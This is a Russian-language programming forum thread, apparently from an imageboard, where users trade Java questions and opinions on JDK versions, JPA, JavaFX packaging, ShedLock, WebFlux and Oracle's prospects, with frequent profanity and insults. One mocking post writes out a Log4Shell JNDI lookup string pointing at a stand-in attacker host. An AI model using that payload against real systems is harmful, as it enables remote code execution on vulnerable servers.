Теперь в джаве будет встроенный http server. Ну то есть он и раньше был, еще с 2006 года, но им никто не пользовался и вообще он был спрятан на задворках стандартной либы. Зато сейчас его решили немножко обновить его API и сделать на нем консольную утилиту.
Леха Шипилев говорил осенью, что до лума еще далековато. К слову, следующий LTS здесь предполагался как 23 версия. Сейчас сроки сократили и LTS должна стать уже 21 версия. Может как раз к 25 версии джавы и завезут полноценно этот лум.
>>2232303 >Вальгалла когда? А этого никто не знает. Но судя по мейл листам, они там что-то обсуждают, а значит вальгалла не заброшена.
Может быть как раз к 25 версии (через 4 года?) выкатят все их фичи, которые они пилили на протяжении последних 10 лет.
Я - тупая макака, худо-бедно знающая Джаву. Появилась такая задача. У некоторого программного продукта есть REST-Server с описание его REST-api, там куча всевозможных ХТТП-запросов описано, респонзов к ним и как все это парсить. Так вот, нормально ли использовать Java для того чтобы разрабатывать клиент к этому ресту, или есть какие-то более разумные способы с этим работать? Ну и какой фреймворк надо изучать чтоб это решить (какую часть Спринга например).
Гайз, кто шарит. Есть один фронт, который делает запрос к бд, бд отдаёт данные фронту, после чего фронт отправляет те же самые данные на уже другую обработку бэку и бэк отправляет еще раз модифицированные данные фронту. У меня сейчас это всё делается последовательно, а я хочу, чтобы фронт делал запрос - ему присылались сначала одни данные, а потом другие. Как это реализовать можно по-быстрому? Либо где про это почитать?
>>2232378 Вопрос какой-то идиотский. Могут быть книги либо по автоматизации, либо по джаве. Читаешь обе темы и связываешь. Любой язык это и есть автоматизация, блять.
>>2232457 Я и на ждаве без орм пишу. Заебок себя ощущаю. Доходило то того что писал самодельный днище-орм, правда. Когда надоело бомбить базу кучей однотипных круд-запросов
>>2232524 Нет, просто пишешь запрос в стрингу, хуяришь из него препаред стейтмент и пушишь на сервак, который в ответ тебе высирает рекорд-сет. Мякотка.
>>2232551 Никак. Драйвер и СУБД делают всю эту поебень для тебя (уж не знаю кто там из них рулит процессом, мне не приходилось вникать потому что ни разу с той стороны не появлялось каких-то проблем). Ты просто создаешь коннешкшен и держишь его сколько считаешь нужным, за время его существования ты можешь запустить сколько угодно отдельных транзакций произвольной длины. Можешь хоть на каждую транзакцию создавать новый коннекшен.
>>2232551 Олсо, если ты про работу одновременно с несколькими соединениями из одного треда или из соседних, то тоже не понимаю в чем там может быть проблема. Коннекшен это отдельный объект и вроде никакого статик-стейта разделяемого там нет, по крайней мере для клиентского кода.
>>2232513 Чел, ну причем тут ты. Ты может петы пишешь. Или просто ты единолично принимаешь решения по технологиям. Но в подавляющем большинстве спринговых вакансий есть орм и чаще всего это jpa-орм.
>>2232310 Почему сраный оракл ебет мозг аудитории этими большими проектами уже 5 лет, но шарящие люди говорят, что еще 5 лет их не стоит ждать? Зачем эти пидорасы все анонсируют и нихуя не выпускают?
>>2232652 Да вы заебали бля, с такими вопросами пиздуйте в кресты, это именно там высирают новые парадигмы, чтобы ускорить говно на 0.00000001%, а здесь это никого ебать не должно. JIT оптимизирует, и разницы не будет
>>2232632 чел, все современные языки умеют очень много. И у каждого миллион потенциальных кейсов применения. Так то можно использовать хаскель на беке или делфи. Можно писать на жабке в блокноте. Можно вообще не использовать никаких бд. И все это можно делать в проде. "Необходимо" из-за ограничений языка не так много. Но ведь нас интересуют типичные случаи. И твой случай с жабой без орм очень не типичен.
>>2232652 В том виде, что ты высрал, это вообще семантически разные конструкции. В первом случае это локальная переменная внутреннего скоупа, она будет создаваться и инициализироваться всегда в одном значении - гарантировано. Во втором ты можешь накапливать в К что-то от цикла к циклу, например внешний индекс для foreach. Если ты имеешь ввиду, что не стоит ли локальную (по смыслу) переменную скоупа вынести наружу цикла, и вместо ее создания и инициализации просто обнулять в конце каждого цикла, наебав так "выделение памяти", то это хуёво. Во-первых, у тебя все равно остается инструкция по ее обнулению, а во-вторых ты пытаешься программировать через побочные эффекты, а это как правило всегда хуёво, потому что порождает лапшу, которую становится трудно дебажить, исправлять и развивать. ну и в-третьих, этот >>2232660 прав. Крайне трудно что-то выиграть у оптимизатора, который допиливали очень умные дяди 20 лет. Даже если ты начнешь байтодрочить то скорее всего сможешь с ним максимум сравняться, а не выиграть. Как-то раз пытался "оптимизировать" кусок кода который казался довольно вычислительно трудным через битовые сдвиги и булевские битовые операции. В итоге бенчмаркнув все это выяснилось что скорость одинаковая. После того забил на такие попытки.
>>2232668 >Если ты имеешь ввиду, что не стоит ли локальную (по смыслу) переменную скоупа вынести наружу цикла, и вместо ее создания и инициализации просто обнулять в конце каждого цикла, наебав так "выделение памяти", то это хуёво. В этом и был мой вопрос. Спасибо.
Если уж зашло про лоу-лвл, может кто знает, как размещается в память вложенный внутрь метода скоуп? Создается ли например для каждого прохода цикла for свой фрейм на стеке? Если нет, то куда размещаются локальные переменные цикла? Если да, то как обеспечивается видимость переменных out-скоупа?
>>2232629 Потому что оракл сам по себе скатился в парашу и делает не продукты, а говно. Далеко ходить не надо - посмотрите на графики выручки гугла (govno), майкрософта (.net) и оракла. Оракл вообще не вырос за последние 10 лет никак. Туда же полудохлая IBM. А чем больше денег у конторы и чем лучше она развивается, тем вероятнее, что у нее будут лучше продукты.
Перепощу из ньюфага, вы тут джависты, люди серьезные. Анончики, как проектировать такое в базе? Предположим, есть админка, в которой можно менеджерить кнопки. К каждой кнопке можно добавлять экшены. Но экшены эти могут быть разные (вебхук по определенному урлу, оплата и прочее), соответственно и таблицы с данными могут быть разными.
>>2232720 У тебя уже нарисовано почти как надо. Каждый Action это какой-то один определенный Action, либо Payment, либо Webhook. Будет один к одному для них связь с Action, по action_id. Он же будет и PK для них, payment_action_id и т.п. не нужны.
>>2232759 Тоже на перепутье. Пока что выбрал мобилки, потому что просто интереснее этим заниматься.
В плане перспективности, кмк, разницы нет. В будущем легко можешь свичнуться на бэк, если потребуется. Или уйти в иос, или вообще кроссплатформу делать. Кароче разницы вообще никакой. И там и там работы дофига. В этом случае только по интересу выбирать.
>>2232771 Тебе тогда в мойщики автомобилей или кассиры. Программист это одна из наиболее "учёбоемких" профессий. Либо ты учишься постоянно до конца карьеры чему-то, либо будешь червем-пидором на задворках индустрии, поддерживать какое-нибудь Delphi-7 говно на заводе полиэтиленовых стаканчиков с обвисшими обоями и протекающим потолком.
>>2232801 Вот скажи откуда тебе знать что легко свичнуться из мобилок в веб? Раз на перепутье, значит вкатун. Откуда вкатуну знать такое? Возможно но не легко дауншифтингом заниматься. Это как спуститься с горы сотыг, чтобы снова лезть вверх с уровня джуна.
>>2233006 Что, оскорбили тебя, да? Бедняжечка какая, вы только посмотрите. Как выебываться на вкатуна, так он тут как тут, а как его оскорбляют от делает [пуксреньк]. Умора!
>>2232293 (OP) Подскажите как сделать .exe? Юзается javaFX (и не только), если это важно. Пробовал разные способы. Но ничего не вышло, кроме как насрать себе в штаны. Пробовал launch4j, который у меня не работает должным образом. После запуска .exe ничего не происходит, разве что прилично начинает грузиться процессор и крутиться колёсико загрузки рядом с курсором мышки. И если не убить процесс то ничего хорошего не последует.
Сам проект на java написан хорошо и протестирован. Всё как надо. В интернете, сами знаете, долбаёбы-советчики засрали тупыми гайдами как насрать себе в штаны.
>>2233120 Никак. Если тебе нужен полноценный исполняемый файл, ты выбрал не тот язык. Можешь только юзануть jlink, у тебя будет папка с jvm и запускатором твоего жарника. Ещё есть graalvm, но там не то что javafx - свинг не работает.
>>2233120 Это надеюсь ты читал https://openjfx.io/openjfx-docs/ Там слева выбираешь свой случай Если юзаешь гредл, то с jlink плагином в одну кнопку и инсталлятор и ехе получаются
>>2232759 И там и там норм перспективы. Правда в андроиде придется сразу доучивать котлин. Но ты лучше подумай, что тебе нравится. Большая часть андроида, это отрисовка гуя, то есть тот же фронт, но вид сбоку. А у бека - клепание крудов(запросов в бд) и отгрузка джейсонов на фронт. Мне тупо фронт не нравится, я выбрал спринг. Но правда пришлось потом выучить основы html/css/js для более-менее вменяемых пет-проектов.
>>2233153 С билде с javafx основная сложность что его оракл выпилил из своего jdk + создал jpms который нужен для jlink. То есть навали сразу две кучи говна. Рекомендую сначала по ссылке разобраться с билдом хелоу ворлда и только потом ебаться со своим проектом.
Сейчас заметил что у меня в проекте есть класс с пятью приватными полями,поля не final. Над классом стоит аннотация Data. Почему я могу создать объект этого класса через хттп запрос? Конструктора то нет,а дата генерит конструктор только для private final полей
>>2233194 Data генерит RequiredArgsConstructor. А RequiredArgs генерит конструктор для final и NonNull полей. Тк таких не имеется, должен сгенериться пустой конструктор в идее есть деломбок
>>2232509 > работа стабильно будет Так и на заводике стабильно будет. Че в 2021 мало языков, на которых можно найти работу? Наоборот джава настолько древнее и тупое говно, что в скором времени все сайты начнут потихоньку перепиливать и через лет 15 будешь бомжевать. Не думаешь же ты всерьез что на этом говне легаси просуществует еще хотя бы 20 лет
>>2233421 Во fleet та же идея, только либо у тебя (и так же не запускается), либо на сервере у китайцев, которые воруют твой код, и при этом любое действие в редакторе имеет задержку ~500мс.
>>2233430 Ну хуй тебя знает, в инторнетах каждый горазд пиздеть. Вдруг у тебя в винде поломались обновляения и винда постоянно их качает и шуршит диском. Или ты пямять неудачно воткнул в слоты. Иди ссд пошел по пизде уже. Да мало ли чо, а ты винишь идею.
>>2233437 А что ещё винить, если всё летает, игры играются на максималках, браузер с 50 вкладками запускается мгновенно, а идея не может переварить даже хеллоуворлд на спрингбуте.
Oh shit I m sorry Пропустил выпуск 17 лтс. 1) То есть сейчас по умолчанию все классы имеют strictfp? Это не уменьшило точность вычислений? 2) Какой сейчас новый рандом юзать в обычных случаях? Или оставаться на ThreadLocalRandom.current()
>>2233665 первый плейлист практики с фронтом на шаблонизаторе. https://www.youtube.com/playlist?list=PLU2ftbIeotGoGSEUf54LQH-DgiQPF2XRO Самое оно тебе сейчас заточить. На шаблонизаторе не советовал бы заострять внимание, просто повторяй за челиком. Ну и то что не понимаешь спринг дату, спринг бут и прочее тоже ничего страшного, повторяй за ютубером, крути, верти. Потом теорию, потрогав это в режиме магии проходить будет легче.
>>2233670 >>2233642 Начинал это смотреть. В сравнении с Алишевым выбесило что он вообще ничего не говорит что делает зато у Алишева бесит что он одно и то же может повторять три раза и рассказывает даже то что и собаке понятно, в итоге как показалось все часы его видео не дают и 5% объема нужных знаний, просто копипастит из спринг мануала или набивает со словами "забейте, пока понимать ниче не надо, ваше дело увидеть что все работает, потом разберемся по ходу". Может конечно я ровно 3 минуты не дошел до того места где наконец начнет хоть что-то поясняться, но пока дропнул до лучших времен этот плейлист. мимо-другой-вкатыш
Кто-нибудь Скалу в реальной жизни щупал (особенно 3-ю версию)? Я на курсере уже парочку "официальных" курсов прошел и насколько же это приятный язык. Лаконичный стиль и вся встроенная библиотека работает без сюрпризов.
Че за хуйня? Почему какой-то логгер не просто выводит информацию в лог-файл или консоль, а еще дополнительно скачивает классы с байткодом из интернета? Нахуя так придумано? Зачем и кому вообще нужен этот jndi и удаленный запуск чужого байткода?
>>2232703 Вот только в Джаву вкладывается еще куча компаний. И РедХат, и Гугл, и даже сам Майкрософт. А у дотнета нет такого большого списка контрибуторов.
>>2233769 Вот только редхат (теперь уже часть IBM) падает вниз вместе с самим IBM. А оркал вообще не растет. Для гугла и MS, джава, очевидно, не самая приоритетная платформа на сегодняшний день.
Вообще судьба оракла, наверное, будет печальной. Сейчас почти везде уходят с Oracle DB и MySQL на Postgres, их клауд платформа популярной так и не стала - AWS и GCP тут лидеры, на джаву они почему-то решили забить, а что еще они делают? ИМХО, их БД была топом в 90-е и нулевые, на нее всякие банки и энтерпрайзы перешли, но сейчас те времена закончились, буквально везде и у каждого стоит postgres.
>>2233772 IBM вообще сдох сейчас, считайте можно поминки собирать. Оракл как-то пытается в рост, но получается так себе. Гугл и МС, конечно, нихуево так выросли за последние годы.
>>2233772 >2k21 >Оценивать прибыль по капитализации Но даже если Мелкософт прибыльная компания, это не значит что они будут массово вбухивать деньги в дотнет. Они давно ушли от стратегии обязательно разрабатывать свой велосипед. Вон похоронили свой EdgeHTML в пользу Хрома, сейчас активно развивают питон и WSL. Так что далеко не факт, что они будут вкладывать сильно много в дотнет. У них сейчас главную прибыть облако генерирует, а там дотнет не особо нужен.
Гугл стабильно в топ3 контрибуторов. У них джава основной язык для написания бекенда не веришь, приди к ним на интервью и спроси сам
>>2233789 Один хуй основной контрибьютор Оракл, все остальные по мелочи в сравнении с ним. Оракл погибает => погибает и джава.
У гугла много всего было написано на джаве, да, даже включая фронтенд GWT. Сейчас они в пользу С++ и гоуленга отказались от жабы.
>>2233790 Да, и у нетфликса тоже, но не забывай, что hystrix и все что с ним связано, уже как пару лет депрекейтнули, на чем сейчас там пишут - не в курсе. Но факт остается фактом, что JVM как платформа начала конкретно загибаться.
>>2233800 PHP, Java, .NET - это все уже уходящая эпоха. Ну может дотнет поболтается еще несколько лет и отправится в историю вместе с джавой, как это уже происходило с делфи.
Сейчас на беке будет golang, node.js и python, ибо микросервисы, быстрый старт, малый оверхед по памяти.
>>2233792 >Один хуй основной контрибьютор Оракл, все остальные по мелочи в сравнении с ним. Оракл погибает => погибает и джава. А у ГОвна основной контрибутор Гугл, а уж как Гугл умеет хоронить проекты мы все знаем. А у Питона вообще не было такого контрибутора до недавнего времени и тем не менее он очень неплохо развивался.
>Сейчас они в пользу С++ и гоуленга отказались от жабы. На С++ только системные вещи пишутся типа баз данных и файловых систем. Бизнес приложения на жабке. А вот Говна они похоже наелись ни ООП нормального, ни функционально подхода в полный рост.
>Но факт остается фактом, что JVM как платформа начала конкретно загибаться. Про это уже лет 10 пишут. И все аргументы из серии а вот сисярпе ууу, а вот в питоне ааа. Если тебе каждый год не вбухивают тонны сахара в язык, это не заначит что он мертв.
>>2233792 Не будет микросервисов ибо они все велосипеды, а велосипеды способны только большие компании содержать. Посмотрят кабаны, когда велосипеды станут вонючим легаси, что их никто не хочет поддерживать и разочаруются и вернутся на жирные фреймворки для новых проектов. Да будет так...
>>2233803 >Если тебе каждый год не вбухивают тонны сахара в язык, это не заначит что он мертв Так с Java 8 все развитие остановилось по факту. Ну да, там новый свитч, паттерн матчинг, можно удобно писать большие строки, реактивные стримы, foreign memory access, шенандоа ГЦ, но ведь это все хуйня, нет? ЛУМА нет. ВАЛЬХАЛЛЫ нет. И когда они будут? Это самые важные нововведения в жабе, которые должны были быть уже 17 lts версии.
>>2233813 Но тем не менее на микросервисах стали писать уже на жабе. И вообще сейчас все стартуют на микросервисах. А то, что весь этот набор сервисов и костылей из говна и палок превратится в тяжело поддерживаемое легаси - никого не ебет, просто сдохнет один стартап или умрет продукт в какой-нибудь большой конторе, всем тотально похуй. Как будто бы большая часть продуктов реально приносит прибыль, а не просто создана для сбора инвестиций от всяких кабанов, которым лишь бы деньги куда-нибудь запихнуть.
Хочу протестировать делит метод. Есть заготовленный лист с двумя адресами,хочу при вызове сервис.удалитьАдрес() удалять из листа. Конструкция when(addressService.deleteAddress(address).then(addressList.remove(address))
Шлет меня нахуй по понятным причинам,как провернуть такой тест? Или же как лучше тестировать делит метод сервиса
>>2233842 Если ты тестируешь deleteAddress у сервиса, то тебе не нужно его мокать. Мокать нужно то, что вызывается в этом методе, но сам метод должен быть настоящим
Третьего дня, по совету проверенных камрадов, приобрёл подписку в онлайн школе программирования — «Javarush». Сразу же, задыхаясь от жадности, открыл сайт и прочитал первую лекцию. Информативность, моё почтение. Настоящие гении писали эти сценарии к лециям. Даже моя, привыкшая к суровым игровым будням, голова, отказывалась всё понимать с первого раза. Совместными с вкатывальщиками в комментах усилиями забороли лекцию. Ощущения — АТАС. С выигранной каткой в доте не идёт ни в какое сравнение. Кроме того, ЧСВ приятно начинает подниматься. Прокодил так весь день. Решительно готов к вкату в ИТ. Многие вкаиывальщики увидят тут проявления слабохарактерности. Тупым детям невдомёк, что учиться самостоятельно и на курсах — это разные вещи. Сайт отличный, всем рекомендую к приобретению. Всё это, как водится, реклама.
>>2233817 >foreign memory access, шенандоа ГЦ, но ведь это все хуйня, нет? Нет не хуйня, для хайлоода это важные вещи. То что раньше ручками в offheap ByteBuffer складывали или через Unsafe хакали - теперь делается через нормальный API, с поддержкой JIT и типобезопасности. ZGC показывает отличный перфоманс на огромных хипах. Векторное API добавили. Плюс там есть внутренний рефакторин, типа тех же сокетов. Граль уже более стабильный, мы в конторе уже начинаем тесты нативных сборок.
>ЛУМА нет. ВАЛЬХАЛЛЫ нет. И когда они будут? Да нет, но тут нужно сделать так чтобы не поломать нахер все. Они сами себя загнали в ловушку с этими релизами каждые пол года. Если бы остановили разработку других фич и все силы на Лум бросили, то наверное и за год бы сделали. Но когда у тебя постоянно добавляются новые фичи в GC, очень сложно делать такие вещи как Лум или Вальгала. Можно подумать что в дотнет какие-то глобальные фичи добавляются каждый день. Если посмотреть What's new in .NET https://docs.microsoft.com/en-us/dotnet/core/whats-new/dotnet-6 - там сплошь новый сахар для сисярпа и всякая мелоч типа тут улучшили перфоманс, тут у нас новый кодген, а в некоторых релизах вообще только сахар и никаких изменений в рантайме. Или у нас Говно фонтанирует большими новыми фичами? Да тоже нет https://go.dev/doc/go1.17 напилили какой-то херни для стрельбы в ногу и всё а рантайм вообще не менялся. Или может в жопаскрипт нормальную типизацию подвезли тайп скрипт это такие же костыли как и дженерики в джаве?
>>2233817 > новый свитч, паттерн матчинг, можно удобно писать большие строки, реактивные стримы, foreign memory access, шенандоа ГЦ Откуда ты всё это знаешь? Где ты эту информацию берёшь?
>>2233909 В JDK каждый релиз вносят улучшения в JIT. Но местные иксперты все равно рассказывают, что джава не равивается и вообще нужно на сисярп/говно/жопаскрипт переходить.
>>2233940 Ну и нахуй их тогда трогать вообще? Трогай сразу где будешь изучать. У Алишева например довольно полное погружение с пояснениями, хоть в итоге и охвачен какой-то мизер, но зато нормально +/-
>>2234039 Ресурсы ридонли Если это какие-то стандартные аватарки, которые надо показывать и не надо изменять, можно и в ресурсы. Но если юзеры могут грузить свои, ла, придётся создавать папку и брать путь к ней из какого-нибудь конфига. Или хранить аватарки в БД.
Аноны, я чет отупел максимально. Надо настроить @Scheduled так, чтобы работал только на одном инстансе. Нашел библиотеку ShedLock, но не понимаю что нужно указывать в lockAtLeastFor и lockAtMostFor и надо ли.
Допустим, моя таска выполняется каждые 5 минут, выполнение этой таски занимает 1 секунду. Что надо писать в эти поля, чтобы другие инстансы не выполняли эту же самую джобу?
>>2234296 Сложна, непонятно, не нужно. У меня не дохуя запланированных задач, всего одна, сложной логики там никакой нет >>2234290 Ноды, экземпляры приложения, количество одновременно запущенных копий, называй как хочешь
>>2234290 >>2234300 Горизонтальное масштабирование. Копии приложения запускаются на нескольких машинах, чтобы увеличить пропускную способность. Один процесс приложения - 1 инстанс
>>2234306 >чтобы увеличить пропускную способность. Один процесс приложения - 1 инстанс Благодарю за объяснение! Сколько лет в профессии, если не секрет?
>>2234319 Не я забочусь этим, к счастью, а лид. Мне достаточно настроить ShedLock, нахуя мне конкретно в этой задаче балансировщики? Или ты предлагаешь через Zookeeper или другую хуйню это делать? Сразу нет – лока будет в таблице в БД постгрес
>>2233936 Ну у нас в помойном легаси энтерпрайз-банке уже джава 15 с микросервисами и вебфлюхом есть. Да, местами на 8 все еще сидим, но готовимся к переезду на новые версии
>>2234359 > а сам даже не представляешь, как оно работает. А ты всегда прежде чем заюзать новую либу, идёшь в спецификацию и документацию и изучаешь их?
>>2234359 В основе используется пуш модель. Очень грубо говоря, это выглядит так: ты говоришь (например монге) дай мне вот это, и когда будет результат, сделай вот это. Из таких вещей строится пайплайн, который делает различные модификации данных в потоке. Как итог, тебе не нужно блокировать поток, пока ты ждёшь результат твоего запроса, и в это время он может выполнять другую полезную работу покормил
>>2234373 Это альтернатива коллбекам. на сайте реактора даже примеры с коллбеками есть По хттп ты можешь стримить данными. Получается что-то вроде sse, только со своей спецификацией и возможностью строить такой реактивный стрим через несколько микросервисов, например
>>2234519 Где-то в руководстве решают. CTO/техлиды выбивают деньги и время на это. Но в целом и так очевидно, если версию жабы не перекатывать, то в банках до сих пор бы писали на java 1.4, а скорее всего и вовсе на коболе.
>>2234519 Архитекторы, которые сидят где-то наверху, либо говорят, что надо обновить какую-нибудь технологию на более новую версию, либо могут объявить технологию "нецелевой" и сказать, что надо отказаться от её использования по таким-то и таким-то причинам. Спорить с ними очень сложно, можно только согласовать сроки миграции. Инициатива об отказе от EE-говна и переката на спринги и микросервисы идёт именно от них хотя на более модный стек легче найти разрабов.
Ну что джаваны, обкакунькалися опять, китайцы уже залезли в ваше сервера с log4j запуская любой код просто записав в лог ${jndi:ldap://attacker.com/pwnyourserver}
Не имею ни малейшего понятия о разработке на жабе. Правильно ли я понимаю что из-за log4j все старые версии клиента майнкрафта стали уязвимыми, и останутся таковыми в будущем? Или с обновлением библиотеки дыру пофиксят?
>>2234752 Это нихуя не проблема, реальная проблема, что в теории последние несколько лет энтерпрайз на джаве стоял голый перед всякими китайскими хацкерами. Масштабы пиздеца представили?
Мне кажется стейкхолдеры этого треда не правы в своем подходе. Как раз из-за того, что этот тред раз в пару месяцев на неделю и вылезает из бамплимита и стимулирует троле-дебичей тут срать всю эту неделю.
Ананас, помоги пожалуйста с JPA. Вот есть persist. Про него написано, что он используется для сохранения новых сущностей. Но какая сущность считается новой, никто особо не поясняет.
Та, id которой нет в БД? Вроде кажется логичным (как ещё определять, есть сущность или нет?), но баелдунг пишет, что persist с уже имеющейся (что бы это ни значило) сущностью бросает эксешпен сразу же на вызове, не дожидаясь flush или commit. Получается, JPA как-то сразу, до запроса к базе выясняет, есть ли эта сущность в ней или нет? Как?
>>2235168 Ты хоть один туториал по спринговым рест-контроллерам читал, или наугад всё пишешь? > @Controller @RestController > @PostMapping(value = "test", produces = {"text/html; charset=UTF-8"}) @PostMapping("test") > public void test() { public String test() { > System.out.println("Ты пидор"); return "Ты пидор";
>>2235165 На собесах любят ебать мозги хибером. Меня на нескольких заставляли вспоминать методы энтитименеджера, хотя я всегда пользовался только спринг-датой.
Чому на jocker/jpoint больше нет нормальных выступлений и докладов? В этом году только у жени борисова был годный доклад, все остальное - говно, на котором просто рассказывали обо всем и ни о чем одновременно + сами докладчики были довольно старыми, на вид все 40+. Даже доклад про кваркурс и тот превратили в говно с шутками-прибаутками от ведущих. Платформа jvm чтоли сдохла окончательно? На cpp russia и zero cost conf от яндекса и то уровень докладов был в разы выше.
>>2235233 А что ты хотел услышать на докладах? В С++ так-то новый стандарт подвезли совсем недавно с новыми фичами, а в джаве что? Доклады ранних лет были годными, потому что в java 8 появилось много новых фич + была потребность в докладах по кишочкам спринга и jmm. Был конкретный запрос - были доклады по конкретной теме. Сейчас же конференцию вроде как и нужно провести, а докладывать нечего. Спринг 6 выйдет через год, но на него очень мало кто перейдет, лума и вальхаллы еще очень долго не будет, кваркус и микронавт никогда не смогут занять нишу спринга, а про всякие паттерг матчинги и большие строки рассказывать на докладе смысла особо-то и нет.
>>2235255 > Странно, что рабочий exe не вышло сделать. Только батник. Конечно не вышла, jlink такого не умеет. > Кстати, как запускают в продакшене программы с javafx под виндой? Либо через батник, который запускает жарник через java.exe, либо пишут на плюсах/шарпе экзешник, который делает то же самое.
>>2235258 Я просто подумал, что можно сделать exe не только через launch4j (Который так мне не смог этого сделать). >либо пишут на плюсах Хыыы. Так и сделал.
На удивление приятно удивлён адекватности и отзывчивости в треде. Такого не было раньше. Года 2 не заходил в /pr т.к. в том же С++ тредах был филиал нулевой с дикарями. А в этом треде через пост обсуждали петухов пишущих на джава. Неужели происходит отток рака?
>>2235259 >Есть вероятность, что будет минимум шуток и больше полезной информации
Не, нихуя. Тот же доклад про кваркус в говно превратили. Ну и обсуждение фич, которые не вышли в 17 версии тоже получилось не обсуждением, а скорее цирковым представлением.
Да и даже если 40+, то не страшно. Я просто там совсем каких-то деда и бабку увидел в докладе про jakarata ee, там и просмотров было меньше всего. Страшно то, что докладов нормальных нет нихуя. Ну вот вообще кал полный. Раньше хоть леха шипилев и борисов что-то годное представляли, а сейчас дно полнейшее.
>>2235270 Да у нас вообще с обучением беда. Чего стоят только переводные книжки с вырезанными главами. Или сколько генерируют бесконечного потока инфо шума. Чтобы научиться нужно жизнь на алтарь положить. И всё равно найдутся умники, которые посчитают своим долгом обесценить твои труд, умения или знания.
Тащем-то на последних конференциях тоже были неплохие доклады. Леха шипилев тоже докладывался в этом году. Но вообще странно ожидать, что каждый спикер будет представлять умопомрачительные технологии.
>>2235388 Да, страшно представить, какие мощные суперкомпьютеры понадобились бы, чтобы запустить эти проги/игры, если бы их написали на жабе. Одна IDEA чего стоит.
>>2234287 Братишка, ты доку-то читал своей херни? Там же всё написано. Если выполнение таски занимает 1 секунду с перерывом 5 минут, то ставь lockAtMostFor где-нибудь на 4 минуты 58 секунд, чтобы если года наебнулась она освободила лок перед тем как другая таска запустится. Min видимо можно не ставить, потому что за 1 секунду ноды должны засинкаться. Но если хочется поставь пару секунд, чтобы таска точно успела выполниться
You can also set lockAtMostFor attribute which specifies how long the lock should be kept in case the executing node dies. This is just a fallback, under normal circumstances the lock is released as soon the tasks finishes. You have to set lockAtMostFor to a value which is much longer than normal execution time. If the task takes longer than lockAtMostFor the resulting behavior may be unpredictable (more than one process will effectively hold the lock).
If you do not specify lockAtMostFor in @SchedulerLock default value from @EnableSchedulerLock will be used.
Lastly, you can set lockAtLeastFor attribute which specifies minimum amount of time for which the lock should be kept. Its main purpose is to prevent execution from multiple nodes in case of really short tasks and clock difference between the nodes.
>>2235389 > Как можно заблокировать метод, внутри которого выполняется асинхронный запрос через WebClient? Заблокировать всмысле поток или для синхронизации? > //тут надо поймать исключение, которое выбрасывается в другом потоке Выбрасывается в callAsyncYoba? Если он вовзращает фьючер, просто await в yobaMethod вызови и все
>>2235619 Jpa - спецификация по работе с бд и орм Spring data - дата-фреймворк спринга, который упрощает работу с jpa Jdbc template - обёртка над дефолтным jdbc, который упрощает работу с jdbc
>>2232293 (OP) Посоветуйте книгу или статьи, где понятным языком разобраны уровни изоляции транзакций и когда какой уровень выбирать при написании кода, который работает с БД. Постоянно попускают на собеседованиях на этой теме.
>>2235638 > Посоветуйте книгу или статьи, где понятным языком разобраны уровни изоляции транзакций Любую статью хоть на википедии. > когда какой уровень выбирать при написании кода, который работает с БД. Всегда во всех проектах использовать read committed. Для данных, которым в ходе транзакции меняться нельзя, использовать select for update/dbms_lock.
>>2232293 (OP) Lombok используется в реальных проектах или это плохая практика? >>2235647 Кроссплатформа кроме десктопа, но там тоже делают фреймворк для windows/mac os
>>2235653 Спринг дата не упрощает спецификацию. Она оборачивает ее и предоставляет свой интерфейс, чтобы тебе было быстрее и проще писать запросы в базу
>>2235372 >А надо присваивать null ненужным обьектам, чтобы экономить память? Полям - нужно, локальным переменным - обычно нет, потому что нормальный метод должен выполниться быстро и все локальные переменные будут освобождены и без тебя.
Для чего вообще логгеру уметь в JNDI? Разделение ответственности идёт куда? Не удивлюсь, если современные логгеры уже тьюринг-полные и умеют в гуй нахуй.
Вопрос, есть задача сделать консольное приложение "Кинотеатр", есть основные обьекты: пользователь, фильм и билет, хранение информации: БД. Я реализовал репозитории: фильма, билета. Теперь вопрос, как реализовать уровни доступа пользователя(простой пользователь, менеджер и админ). Можно ли сделать это через enum? Если что-то написал не так, прошу не кидать камнями, я еще только учусь
>>2235740 Так у Моно же другая кодовая база. Получается что JIT, GC и прочие системные вещи в .Net Core свои, не те что в обычном .Net Framework? Или они уже портировали?
>>2235754 Это две совершенно разные платформы. Если написал программу на фреймворк, то она не запустится на кор и наоборот. На машины ставятся две платформы, если надо и то и то запускать.
>>2235752 У пользователя будет поле "роль" (или список ролей), соответствующее твоему енуму. При любых действиях проверяешь, есть ли у юзера нужная роль, если нет, ругаешься. Обычно для такого юзают Shiro или Spring Security, но если у тебя проект без либ и фреймворков, пиши всё руками.
>>2236194 Попадалось как-то в гайдах по миграции на 11 жабу, как подключать выпиленный JAXB только начиная с 11 версии. Вообще, там полно подобных малоизвестных фокусов, заходишь в помники чужих проектов и думаешь: "А что, так можно было?".
>>2236194 Можно, но не нужно. Потому что например у тебя локально и на билд сервере может по разному обновиться версия. И ты билдишь с 1.1 и у тебя все ОК, а сервер с 2.0-alpha и там кровь кишки распидорасило.
Кто-нибудь может посоветовать лекцию по самым основам программирования? - интерпретаторы, компиляторы, скрипты, код итд. А то вдруг понял, что понятия не имею, что такое интерпретатор.
>>2236677 Ради причия заменил бы totalDollars = totalDolalrs + dollars; на лаконичное totalDollars += dollars; Сделал бы вывод аккуратнее. Для числа 5 у тебя получится неграмотное выражение - "Средняя цена покупки за 5 ордера: ..." Почему переменная total не используется совсем? И в целом - какую проблему ты этим кодом решаешь?
>>2236745 Ну например ты хочешь купить биток, ожидаешь что цена будет снижаться, у тебя есть 1000 баксов, на 48к ты покупаешь на 150, на 44к на 200, на 38к на 250, на 30к на 350 и узнать среднюю цену всех твоих покупок, что бы прикинуть как лучше раскидать средства, сколько ордеров делать и тд.
>>2236762 Даже в твоём примере прямо разделяются ордер и деньги. Наверное, тогда стоит эти сущности разделить и в коде? Вдруг вместо биткойна захочешь другую валюту использовать?
>>2236773 > Вдруг вместо биткойна захочешь другую валюту использовать? Не, зачем покупать скам? Че я бы хотел добавить это ввод цены покупки и суммы в одну строку, например биток за 45000 300, через пробел указать цену и что бы программа сама поняла что есть что, а не жмякать лишний раз энтер в консоль и прописывать дополнительно.
>>2236996 Предполагаю потому что не настоящий проект и поэтому похуй. Хотя конечно если нужна высокая точность, то bigdecimal необходим. На одном проекте видел вживую, как чуваки начали использовать числа с плавающей точкой и в итоге у них перестали остатки сходиться, потом пиздюли были знатные
